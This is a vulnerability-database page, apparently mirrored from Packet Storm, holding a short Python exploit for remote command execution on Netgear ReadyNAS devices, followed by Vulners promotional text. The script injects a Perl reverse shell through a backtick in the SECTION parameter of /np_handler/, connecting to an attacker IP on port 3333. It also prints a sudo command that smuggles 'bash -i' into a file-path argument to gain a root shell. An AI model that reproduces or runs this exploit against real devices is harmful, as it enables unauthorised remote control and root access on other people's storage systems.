Lucene search
K

Netgear ReadyNAS Remote Command Execution

🗓️ 28 Oct 2013 00:00:00Reported by anonymousType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Netgear ReadyNAS Remote Command Execution in Pytho

Code
`#!/usr/bin/env python  
import sys  
from requests import get  
  
'''Lazy exploit is lazy'''  
  
def pwn(local,remote):  
res = get('http://%s/np_handler/'%local,params={'PAGE':'Nasstate','OPERATION':'get','SECTION':'`perl -e \'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(3333,inet_aton("%s")))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'`' % remote})  
  
def main():  
if len(sys.argv) != 3:  
sys.exit("Usage: %s local_ip remote_up" % sys.argv[0])  
raw_input("Listen for connect back on port 3333 (nc -l -p 3333) then press enter to continue")  
print "Now run this in your shell: sudo /frontview/bin/check_dir_compatibility.pl create 'root' '/tmp/asdf1\";bash -i; echo \"'"  
pwn(sys.argv[1],sys.argv[2])  
  
if __name__=="__main__":  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Oct 2013 00:00Current
0.8Low risk
Vulners AI Score0.8
35